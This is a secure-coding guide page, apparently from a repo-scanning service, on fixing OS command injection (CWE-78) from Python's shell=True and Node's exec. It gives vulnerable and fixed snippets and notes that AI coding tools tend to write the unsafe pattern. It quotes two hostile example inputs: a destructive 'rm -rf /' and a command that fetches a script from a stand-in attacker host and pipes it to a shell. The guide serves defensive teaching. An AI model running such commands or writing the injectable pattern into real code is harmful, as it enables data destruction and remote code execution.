← All fixes

Fix it

shell=True and exec with user input — fixing command injection

High severityCWE-78 (OS Command Injection)

When user input reaches a shell, through subprocess with shell=True in Python or child_process.exec in Node, shell metacharacters in that input are interpreted as commands. An attacker can chain their own commands onto yours. The fix is to pass arguments as an array so no shell parses them.

Why it's a problem

Command injection is typically full remote code execution. Input like ; rm -rf / or $(curl attacker.sh | sh) runs with your server's privileges. Because the feature still works for benign input, the hole stays open until someone sends a payload.

The pattern

# Python — the shell interprets metacharacters in `name`
subprocess.run(f"convert {name}.png out.png", shell=True)

// Node — same problem
child_process.exec("convert " + name + ".png out.png");

The fix

# Python — arguments as a list, no shell
subprocess.run(["convert", f"{name}.png", "out.png"])

// Node — execFile with an argument array
child_process.execFile("convert", [name + ".png", "out.png"]);

Why AI tools write this

Building the command as one interpolated string is the shortest way to express 'run this tool on this file,' so an assistant wiring up an image or file operation tends to reach for shell=True or exec with a concatenated string. It runs correctly in a demo, and the shell only becomes a weapon once the input is attacker-controlled.

The quick fix

  • Pass command arguments as an array and avoid the shell (execFile, or subprocess with a list and no shell=True).
  • If you truly need a shell, validate and escape every piece of user input first.
  • Prefer a library binding over shelling out to an external command when one exists.

Want to know if this pattern is already in a repo you shipped? Scan a public repo free, no account needed.

Scan a repo →
Command Injection (shell=True / exec) — How to Fix It: Prbl